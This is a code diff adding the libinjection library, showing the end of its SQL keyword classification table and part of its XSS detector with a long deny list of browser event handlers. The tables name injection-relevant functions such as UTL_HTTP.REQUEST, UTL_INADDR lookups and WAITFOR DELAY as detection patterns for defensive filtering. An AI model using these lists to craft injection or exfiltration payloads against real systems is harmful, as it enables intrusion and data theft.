{"TINYINT", 'k'}, + {"TINYTEXT", 'k'}, + {"TODATETIMEOFFSET", 'f'}, + {"TOP", 'k'}, + {"TOTAL", 'f'}, + {"TOTAL_CHANGES", 'f'}, + {"TO_ASCII", 'f'}, + {"TO_BASE64", 'f'}, + {"TO_CHAR", 'f'}, + {"TO_DATE", 'f'}, + {"TO_DAYS", 'f'}, + {"TO_HEX", 'f'}, + {"TO_NUMBER", 'f'}, + {"TO_SECONDS", 'f'}, + {"TO_TIMESTAMP", 'f'}, + {"TRAILING", 'n'}, + {"TRANSACTION_TIMESTAMP", 'f'}, + {"TRANSLATE", 'f'}, + {"TRIGGER", 'k'}, + {"TRIGGER_NESTLEVEL", 'f'}, + {"TRIM", 'f'}, + {"TRUE", '1'}, + {"TRUNC", 'f'}, + {"TRUNCATE", 'f'}, + {"TRY", 'T'}, + {"TRY_CAST", 'f'}, + {"TRY_CONVERT", 'f'}, + {"TRY_PARSE", 'f'}, + {"TYPEOF", 'f'}, + {"TYPEPROPERTY", 'f'}, + {"TYPE_ID", 'f'}, + {"TYPE_NAME", 'f'}, + {"UCASE", 'f'}, + {"UESCAPE", 'o'}, + {"UNCOMPRESS", 'f'}, + {"UNCOMPRESS_LENGTH", 'f'}, + {"UNDO", 'k'}, + {"UNHEX", 'f'}, + {"UNICODE", 'f'}, + {"UNION", 'U'}, + {"UNION ALL", 'U'}, + {"UNION ALL DISTINCT", 'U'}, + {"UNION DISTINCT", 'U'}, + {"UNION DISTINCT ALL", 'U'}, + {"UNIQUE", 'n'}, + {"UNIX_TIMESTAMP", 'f'}, + {"UNI_ON", 'U'}, + {"UNKNOWN", 'v'}, + {"UNLOCK", 'k'}, + {"UNNEST", 'f'}, + {"UNSIGNED", 'k'}, + {"UPDATE", 'E'}, + {"UPDATEXML", 'f'}, + {"UPPER", 'f'}, + {"UPPER_INC", 'f'}, + {"UPPER_INF", 'f'}, + {"USAGE", 'k'}, + {"USE", 'T'}, + {"USER", 'n'}, + {"USER_ID", 'n'}, + {"USER_LOCK.SLEEP", 'f'}, + {"USER_NAME", 'n'}, + {"USING", 'f'}, + {"UTC_DATE", 'k'}, + {"UTC_TIME", 'k'}, + {"UTC_TIMESTAMP", 'k'}, + {"UTL_HTTP.REQUEST", 'f'}, + {"UTL_INADDR.GET_HOST_ADDRESS", 'f'}, + {"UTL_INADDR.GET_HOST_NAME", 'f'}, + {"UUID", 'f'}, + {"UUID_SHORT", 'f'}, + {"VALUES", 'k'}, + {"VAR", 'f'}, + {"VARBINARY", 'k'}, + {"VARCHAR", 't'}, + {"VARCHARACTER", 'k'}, + {"VARIANCE", 'f'}, + {"VARP", 'f'}, + {"VARYING", 'k'}, + {"VAR_POP", 'f'}, + {"VAR_SAMP", 'f'}, + {"VERIFYSIGNEDBYASMKEY", 'f'}, + {"VERIFYSIGNEDBYCERT", 'f'}, + {"VERSION", 'f'}, + {"VOID", 't'}, + {"WAIT", 'k'}, + {"WAITFOR", 'n'}, + {"WAITFOR DELAY", 'E'}, + {"WAITFOR RECEIVE", 'E'}, + {"WAITFOR TIME", 'E'}, + {"WEEK", 'f'}, + {"WEEKDAY", 'f'}, + {"WEEKDAYNAME", 'f'}, + {"WEEKOFYEAR", 'f'}, + {"WHEN", 'k'}, + {"WHERE", 'k'}, + {"WHILE", 'T'}, + {"WIDTH_BUCKET", 'f'}, + {"WITH", 'n'}, + {"WITH ROLLUP", 'k'}, + {"XMLAGG", 'f'}, + {"XMLCOMMENT", 'f'}, + {"XMLCONCAT", 'f'}, + {"XMLELEMENT", 'f'}, + {"XMLEXISTS", 'f'}, + {"XMLFOREST", 'f'}, + {"XMLFORMAT", 'f'}, + {"XMLPI", 'f'}, + {"XMLROOT", 'f'}, + {"XMLTYPE", 'f'}, + {"XML_IS_WELL_FORMED", 'f'}, + {"XOR", '&'}, + {"XPATH", 'f'}, + {"XPATH_EXISTS", 'f'}, + {"XP_EXECRESULTSET", 'k'}, + {"YEAR", 'f'}, + {"YEARWEEK", 'f'}, + {"YEAR_MONTH", 'k'}, + {"ZEROBLOB", 'f'}, + {"ZEROFILL", 'k'}, + {"^=", 'o'}, + {"_ARMSCII8", 't'}, + {"_ASCII", 't'}, + {"_BIG5", 't'}, + {"_BINARY", 't'}, + {"_CP1250", 't'}, + {"_CP1251", 't'}, + {"_CP1257", 't'}, + {"_CP850", 't'}, + {"_CP852", 't'}, + {"_CP866", 't'}, + {"_CP932", 't'}, + {"_DEC8", 't'}, + {"_EUCJPMS", 't'}, + {"_EUCKR", 't'}, + {"_GB2312", 't'}, + {"_GBK", 't'}, + {"_GEOSTD8", 't'}, + {"_GREEK", 't'}, + {"_HEBREW", 't'}, + {"_HP8", 't'}, + {"_KEYBCS2", 't'}, + {"_KOI8R", 't'}, + {"_KOI8U", 't'}, + {"_LATIN1", 't'}, + {"_LATIN2", 't'}, + {"_LATIN5", 't'}, + {"_LATIN7", 't'}, + {"_MACCE", 't'}, + {"_MACROMAN", 't'}, + {"_SJIS", 't'}, + {"_SWE7", 't'}, + {"_TIS620", 't'}, + {"_UJIS", 't'}, + {"_USC2", 't'}, + {"_UTF8", 't'}, + {"|/", 'o'}, + {"|=", 'o'}, + {"||", '&'}, + {"~*", 'o'}, +}; +static const size_t sql_keywords_sz = 9352; +#endif diff --git a/apps/cli/vendor/libinjection/src/libinjection_xss.c b/apps/cli/vendor/libinjection/src/libinjection_xss.c new file mode 100644 index 00000000..ee12e5f6 --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_xss.c @@ -0,0 +1,1203 @@ + +#include "libinjection_xss.h" +#include "libinjection.h" +#include "libinjection_html5.h" + +#include + +#define IS_HEX_ENTITY_PREFIX(src) (*(src + 2) == 'x' || *(src + 2) == 'X') + +typedef enum attribute { + TYPE_NONE, + TYPE_BLACK, /* ban always */ + TYPE_ATTR_URL, /* attribute value takes a URL-like object */ + TYPE_STYLE, + TYPE_ATTR_INDIRECT /* attribute *name* is given in *value* */ +} attribute_t; + +static attribute_t is_black_attr(const char *s, size_t len); +static int is_black_tag(const char *s, size_t len); +static int is_black_url(const char *s, size_t len); +static int cstrcasecmp_with_null(const char *a, const char *b, size_t n); +static int html_decode_char_at(const char *src, size_t len, size_t *consumed); +static int htmlencode_startswith(const char *a /* prefix */, + const char *b /* src */, size_t n); + +typedef struct stringtype { + const char *name; + attribute_t atype; +} stringtype_t; + +static const int gsHexDecodeMap[256] = { + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 256, 256, + 256, 256, 256, 256, 256, 10, 11, 12, 13, 14, 15, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 10, 11, 12, 13, 14, 15, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, 256, + 256}; + +/** + * @brief Decode HTML character entities in numeric form. + * + * This function decodes HTML character entities in numeric form, both decimal + * (e.g., A) and hexadecimal (e.g., A). It processes the input string + * and returns the corresponding character code, updating the number of + * characters consumed during decoding. + * + * Note that this function does not handle named entities (e.g., &). + * + * Note: The function assumes that the input string is well-formed and does not + * perform extensive validation. This means it allows sequences without ';', eg + * 'A' and decodes to 'A'. + * + * @param src The input string containing the HTML character entity. + * @param len The length of the input string. + * @param consumed Pointer to a size_t variable where the number of characters + * consumed will be stored. + * @return The decoded character code, or -1 on error. + */ +static int html_decode_char_at(const char *src, size_t len, size_t *consumed) { + int val = 0; + size_t i; + int ch; + + if (len == 0 || src == NULL) { + *consumed = 0; + return -1; + } + + *consumed = 1; + /* + * check if it starts with '&' and + * len >=3 or src[2] == 'x'/'X' and len >=4 + * if not, return the character itself + */ + if (*src != '&' || len < 3 || (IS_HEX_ENTITY_PREFIX(src) && len < 4)) { + return (unsigned char)(*src); + } + + /* + * check if the second character is '#' + * if not, return '&' (we don't handle named entities here) + */ + if (*(src + 1) != '#') { + /* normally this would be for named entities + * but for this case we don't actually care + */ + return '&'; + } + + // if there's a hex prefix + if (IS_HEX_ENTITY_PREFIX(src)) { + ch = (unsigned char)(*(src + 3)); + ch = gsHexDecodeMap[ch]; + if (ch == 256) { + /* degenerate case '&#[?]' */ + return '&'; + } + val = ch; + i = 4; + while (i < len) { + ch = (unsigned char)src[i]; + if (ch == ';') { + *consumed = i + 1; + return val; + } + ch = gsHexDecodeMap[ch]; + if (ch == 256) { + *consumed = i; + return val; + } + val = (val * 16) + ch; + if (val > 0x1000FF) { + return '&'; + } + ++i; + } + *consumed = i; + return val; + } else { + i = 2; + ch = (unsigned char)src[i]; + if (ch < '0' || ch > '9') { + return '&'; + } + val = ch - '0'; + i += 1; + while (i < len) { + ch = (unsigned char)src[i]; + if (ch == ';') { + *consumed = i + 1; + return val; + } + if (ch < '0' || ch > '9') { + *consumed = i; + return val; + } + val = (val * 10) + (ch - '0'); + if (val > 0x1000FF) { + return '&'; + } + ++i; + } + *consumed = i; + return val; + } +} + +/* + * These were extracted from multiple browser sources: + * - WebKit: + * https://github.com/WebKit/WebKit/blob/main/Source/WebCore/dom/EventNames.json + * - Chromium/Blink: + * https://chromium.googlesource.com/chromium/src/+/main/third_party/blink/renderer/core/dom/global_event_handlers.idl + * - Firefox/Gecko: + * https://github.com/mozilla-firefox/firefox/blob/main/dom/events/EventNameList.h + * - W3C/WHATWG specifications where applicable + * + * view-source: + * data: + * javascript: + * events: + */ +static stringtype_t BLACKATTREVENT[] = { + {"ABORT", TYPE_BLACK}, + {"ACCESSKEYNOTFOUND", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"ACTIVATE", TYPE_BLACK}, + {"ACTIVE", TYPE_BLACK}, + {"ADDSOURCEBUFFER", TYPE_BLACK}, + {"ADDSTREAM", TYPE_BLACK}, + {"ADDTRACK", TYPE_BLACK}, + {"AFTERPAINT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"AFTERPRINT", TYPE_BLACK}, + {"AFTERSCRIPTEXECUTE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"ANIMATIONCANCEL", TYPE_BLACK}, + {"ANIMATIONEND", TYPE_BLACK}, + {"ANIMATIONITERATION", TYPE_BLACK}, + {"ANIMATIONSTART", TYPE_BLACK}, + {"AUDIOEND", TYPE_BLACK}, + {"AUDIOCOMPLETE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"AUDIOPROCESS", TYPE_BLACK}, + {"AUDIOSTART", TYPE_BLACK}, + {"AUTOCOMPLETE", TYPE_BLACK}, + {"AUTOCOMPLETEERROR", TYPE_BLACK}, + {"AUXCLICK", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, + WebKit: EventNames.json */ + {"BACKGROUNDFETCHABORT", TYPE_BLACK}, + {"BACKGROUNDFETCHCLICK", TYPE_BLACK}, + {"BACKGROUNDFETCHFAIL", TYPE_BLACK}, + {"BACKGROUNDFETCHSUCCESS", TYPE_BLACK}, + {"BEFOREACTIVATE", TYPE_BLACK}, + {"BEFORECOPY", TYPE_BLACK}, + {"BEFORECUT", TYPE_BLACK}, + {"BEFOREINPUT", TYPE_BLACK}, + {"BEFORELOAD", TYPE_BLACK}, + {"BEFOREMATCH", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, WebKit: + EventNames.json, Firefox: EventNameList.h */ + {"BEFOREPASTE", TYPE_BLACK}, + {"BEFOREPRINT", TYPE_BLACK}, + {"BEFORESCRIPTEXECUTE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"BEFORETOGGLE", TYPE_BLACK}, + {"BEFOREUNLOAD", TYPE_BLACK}, + {"BEGINEVENT", TYPE_BLACK}, + {"BLOCKED", TYPE_BLACK}, + {"BLUR", TYPE_BLACK}, + {"BOUNDARY", TYPE_BLACK}, + {"BUFFEREDAMOUNTLOW", TYPE_BLACK}, + {"BUFFEREDCHANGE", TYPE_BLACK}, + {"CACHED", TYPE_BLACK}, + {"CANCEL", TYPE_BLACK}, + {"CANPLAY", TYPE_BLACK}, + {"CANPLAYTHROUGH", TYPE_BLACK}, + {"CHANGE", TYPE_BLACK}, + {"CHARGINGCHANGE", TYPE_BLACK}, + {"CHARGINGTIMECHANGE", TYPE_BLACK}, + {"CHECKING", TYPE_BLACK}, + {"CLICK", TYPE_BLACK}, + {"CLOSE", TYPE_BLACK}, + {"CLOSING", TYPE_BLACK}, + {"COMPLETE", TYPE_BLACK}, + {"COMPOSITIONEND", TYPE_BLACK}, + {"COMPOSITIONSTART", TYPE_BLACK}, + {"COMPOSITIONCHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"COMPOSITIONUPDATE", TYPE_BLACK}, + {"COMMAND", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, WebKit: + EventNames.json, Firefox: EventNameList.h */ + {"CONFIGURATIONCHANGE", TYPE_BLACK}, + {"CONNECT", TYPE_BLACK}, + {"CONNECTING", TYPE_BLACK}, + {"CONNECTIONSTATECHANGE", TYPE_BLACK}, + {"CONTENTVISIBILITYAUTOSTATECHANGE", TYPE_BLACK}, + {"CONTEXTLOST", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, WebKit: + EventNames.json, Firefox: EventNameList.h */ + {"CONTEXTMENU", TYPE_BLACK}, + {"CONTEXTRESTORED", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, WebKit: + EventNames.json, Firefox: EventNameList.h */ + {"CONTROLLERCHANGE", TYPE_BLACK}, + {"COOKIECHANGE", TYPE_BLACK}, + {"COORDINATORSTATECHANGE", TYPE_BLACK}, + {"COPY", TYPE_BLACK}, + {"COUPONCODECHANGED", TYPE_BLACK}, + {"CUECHANGE", TYPE_BLACK}, + {"CURRENTENTRYCHANGE", TYPE_BLACK}, + {"CUT", TYPE_BLACK}, + {"DATAAVAILABLE", TYPE_BLACK}, + {"DATACHANNEL", TYPE_BLACK}, + {"DBLCLICK", TYPE_BLACK}, + {"DEQUEUE", TYPE_BLACK}, + {"DEVICECHANGE", TYPE_BLACK}, + {"DEVICELIGHT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"DEVICEMOTION", TYPE_BLACK}, + {"DEVICEORIENTATION", TYPE_BLACK}, + {"DEVICEORIENTATIONABSOLUTE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"DISCHARGINGTIMECHANGE", TYPE_BLACK}, + {"DISCONNECT", TYPE_BLACK}, + {"DISPOSE", TYPE_BLACK}, + {"DOMACTIVATE", TYPE_BLACK}, + {"DOMCHARACTERDATAMODIFIED", TYPE_BLACK}, + {"DOMCONTENTLOADED", TYPE_BLACK}, + {"DOMNODEINSERTED", TYPE_BLACK}, + {"DOMNODEINSERTEDINTODOCUMENT", TYPE_BLACK}, + {"DOMNODEREMOVED", TYPE_BLACK}, + {"DOMNODEREMOVEDFROMDOCUMENT", TYPE_BLACK}, + {"DOMSUBTREEMODIFIED", TYPE_BLACK}, + {"DOWNLOADING", TYPE_BLACK}, + {"DRAG", TYPE_BLACK}, + {"DRAGEND", TYPE_BLACK}, + {"DRAGENTER", TYPE_BLACK}, + {"DRAGLEAVE", TYPE_BLACK}, + {"DRAGEXIT", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, + Firefox: EventNameList.h */ + {"DRAGOVER", TYPE_BLACK}, + {"DRAGSTART", TYPE_BLACK}, + {"DROP", TYPE_BLACK}, + {"DURATIONCHANGE", TYPE_BLACK}, + {"EMPTIED", TYPE_BLACK}, + {"ENCRYPTED", TYPE_BLACK}, + {"EDGEUICANCELED", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"EDGEUICOMPLETED", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"EDGEUISTARTED", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"EDITORBEFOREINPUT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"EDITORINPUT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"END", TYPE_BLACK}, + {"ENDED", TYPE_BLACK}, + {"ENDEVENT", TYPE_BLACK}, + {"ENDSTREAMING", TYPE_BLACK}, + {"ENTER", TYPE_BLACK}, + {"ENTERPICTUREINPICTURE", TYPE_BLACK}, + {"ERROR", TYPE_BLACK}, + {"EXIT", TYPE_BLACK}, + {"FENCEDTREECLICK", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl */ + {"FETCH", TYPE_BLACK}, + {"FINISH", TYPE_BLACK}, + {"FOCUS", TYPE_BLACK}, + {"FOCUSIN", TYPE_BLACK}, + {"FOCUSOUT", TYPE_BLACK}, + {"FORMCHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMCHECKBOXSTATECHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMDATA", TYPE_BLACK}, + {"FORMINVALID", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMRADIOSTATECHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMRESET", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMSELECT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FORMSUBMIT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"FULLSCREENCHANGE", TYPE_BLACK}, + {"FULLSCREENERROR", TYPE_BLACK}, + {"GAMEPADAXISMOVE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"GAMEPADBUTTONDOWN", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"GAMEPADBUTTONUP", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"GAMEPADCONNECTED", TYPE_BLACK}, + {"GAMEPADDISCONNECTED", TYPE_BLACK}, + {"GATHERINGSTATECHANGE", TYPE_BLACK}, + {"GESTURECHANGE", TYPE_BLACK}, + {"GESTUREEND", TYPE_BLACK}, + {"GESTURESCROLLEND", TYPE_BLACK}, + {"GESTURESCROLLSTART", TYPE_BLACK}, + {"GESTURESCROLLUPDATE", TYPE_BLACK}, + {"GESTURESTART", TYPE_BLACK}, + {"GESTURETAP", TYPE_BLACK}, + {"GESTURETAPDOWN", TYPE_BLACK}, + {"GOTPOINTERCAPTURE", TYPE_BLACK}, + {"HASHCHANGE", TYPE_BLACK}, + {"ICECANDIDATE", TYPE_BLACK}, + {"ICECANDIDATEERROR", TYPE_BLACK}, + {"ICECONNECTIONSTATECHANGE", TYPE_BLACK}, + {"ICEGATHERINGSTATECHANGE", TYPE_BLACK}, + {"IMAGEABORT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"INACTIVE", TYPE_BLACK}, + {"INPUT", TYPE_BLACK}, + {"INPUTSOURCESCHANGE", TYPE_BLACK}, + {"INSTALL", TYPE_BLACK}, + {"INVALID", TYPE_BLACK}, + {"INVOKE", TYPE_BLACK}, + {"KEYDOWN", TYPE_BLACK}, + {"KEYPRESS", TYPE_BLACK}, + {"KEYSTATUSESCHANGE", TYPE_BLACK}, + {"KEYUP", TYPE_BLACK}, + {"LANGUAGECHANGE", TYPE_BLACK}, + {"LEAVEPICTUREINPICTURE", TYPE_BLACK}, + {"LEGACYATTRMODIFIED", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYCHARACTERDATAMODIFIED", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYDOMACTIVATE", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYDOMFOCUSIN", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYDOMFOCUSOUT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYMOUSELINEORPAGESCROLL", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYMOUSEPIXELSCROLL", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYNODEINSERTED", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYNODEINSERTEDINTODOCUMENT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYNODEREMOVED", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYNODEREMOVEDFROMDOCUMENT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYSUBTREEMODIFIED", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEGACYTEXTINPUT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"LEVELCHANGE", TYPE_BLACK}, + {"LOAD", TYPE_BLACK}, + {"LOADEDDATA", TYPE_BLACK}, + {"LOADEDMETADATA", TYPE_BLACK}, + {"LOADEND", TYPE_BLACK}, + {"LOADING", TYPE_BLACK}, + {"LOADINGDONE", TYPE_BLACK}, + {"LOADINGERROR", TYPE_BLACK}, + {"LOADSTART", TYPE_BLACK}, + {"LOSTPOINTERCAPTURE", TYPE_BLACK}, + {"MAGNIFYGESTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MAGNIFYGESTURESTART", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MAGNIFYGESTUREUPDATE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MARK", TYPE_BLACK}, + {"MEDIARECORDERDATAAVAILABLE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MEDIARECORDERSTOP", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MEDIARECORDERWARNING", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MERCHANTVALIDATION", TYPE_BLACK}, + {"MESSAGE", TYPE_BLACK}, + {"MESSAGEERROR", TYPE_BLACK}, + {"MOUSEDOUBLECLICK", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOUSEDOWN", TYPE_BLACK}, + {"MOUSEENTER", TYPE_BLACK}, + {"MOUSEEXPLOREBYTOUCH", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOUSEHITTEST", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOUSELEAVE", TYPE_BLACK}, + {"MOUSELONGTAP", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOUSEMOVE", TYPE_BLACK}, + {"MOUSEOUT", TYPE_BLACK}, + {"MOUSEOVER", TYPE_BLACK}, + {"MOUSEUP", TYPE_BLACK}, + {"MOUSEWHEEL", TYPE_BLACK}, + {"MOZFULLSCREENCHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOZFULLSCREENERROR", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOZPOINTERLOCKCHANGE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOZPOINTERLOCKERROR", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOZVISUALRESIZE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MOZVISUALSCROLL", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"MUTE", TYPE_BLACK}, + {"NAVIGATE", TYPE_BLACK}, + {"NAVIGATEERROR", TYPE_BLACK}, + {"NAVIGATESUCCESS", TYPE_BLACK}, + {"NEGOTIATIONNEEDED", TYPE_BLACK}, + {"NEXTTRACK", TYPE_BLACK}, + {"NOMATCH", TYPE_BLACK}, + {"NOTIFICATIONCLICK", TYPE_BLACK}, + {"NOTIFICATIONCLOSE", TYPE_BLACK}, + {"NOUPDATE", TYPE_BLACK}, + {"OBSOLETE", TYPE_BLACK}, + {"OFFLINE", TYPE_BLACK}, + {"ONLINE", TYPE_BLACK}, + {"OPEN", TYPE_BLACK}, + {"ORIENTATIONCHANGE", TYPE_BLACK}, + {"OVERFLOWCHANGED", TYPE_BLACK}, + {"OVERSCROLL", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl */ + {"PAGEHIDE", TYPE_BLACK}, + {"PAGEREVEAL", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"PAGESHOW", TYPE_BLACK}, + {"PAGESWAP", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"PASTE", TYPE_BLACK}, + {"PAUSE", TYPE_BLACK}, + {"PAYERDETAILCHANGE", TYPE_BLACK}, + {"PAYMENTAUTHORIZED", TYPE_BLACK}, + {"PAYMENTMETHODCHANGE", TYPE_BLACK}, + {"PAYMENTMETHODSELECTED", TYPE_BLACK}, + {"PLAY", TYPE_BLACK}, + {"PLAYING", TYPE_BLACK}, + {"POINTERAUXCLICK", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"POINTERCANCEL", TYPE_BLACK}, + {"POINTERCLICK", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"POINTERDOWN", TYPE_BLACK}, + {"POINTERENTER", TYPE_BLACK}, + {"POINTERGOTCAPTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"POINTERLEAVE", TYPE_BLACK}, + {"POINTERLOCKCHANGE", TYPE_BLACK}, + {"POINTERLOCKERROR", TYPE_BLACK}, + {"POINTERLOSTCAPTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"POINTERMOVE", TYPE_BLACK}, + {"POINTEROUT", TYPE_BLACK}, + {"POINTEROVER", TYPE_BLACK}, + {"POINTERRAWUPDATE", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, Firefox: + EventNameList.h */ + {"POINTERUP", TYPE_BLACK}, + {"POPSTATE", TYPE_BLACK}, + {"PRESSTAPGESTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"PREVIOUSTRACK", TYPE_BLACK}, + {"PROPERTYCHANGE", TYPE_BLACK}, + {"PROCESSORERROR", TYPE_BLACK}, + {"PROGRESS", TYPE_BLACK}, + {"PUSH", TYPE_BLACK}, + {"PUSHNOTIFICATION", TYPE_BLACK}, + {"PUSHSUBSCRIPTIONCHANGE", TYPE_BLACK}, + {"QUALITYCHANGE", TYPE_BLACK}, + {"RATECHANGE", TYPE_BLACK}, + {"READYSTATECHANGE", TYPE_BLACK}, + {"REDRAW", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"REJECTIONHANDLED", TYPE_BLACK}, + {"RELEASE", TYPE_BLACK}, + {"REMOVE", TYPE_BLACK}, + {"REMOVESOURCEBUFFER", TYPE_BLACK}, + {"REMOVESTREAM", TYPE_BLACK}, + {"REMOVETRACK", TYPE_BLACK}, + {"REPEAT", TYPE_BLACK}, /* WebKit: EventNames.json - SVG animation */ + {"REPEATEVENT", TYPE_BLACK}, /* WebKit: EventNames.json, Firefox: + EventNameList.h - SVG 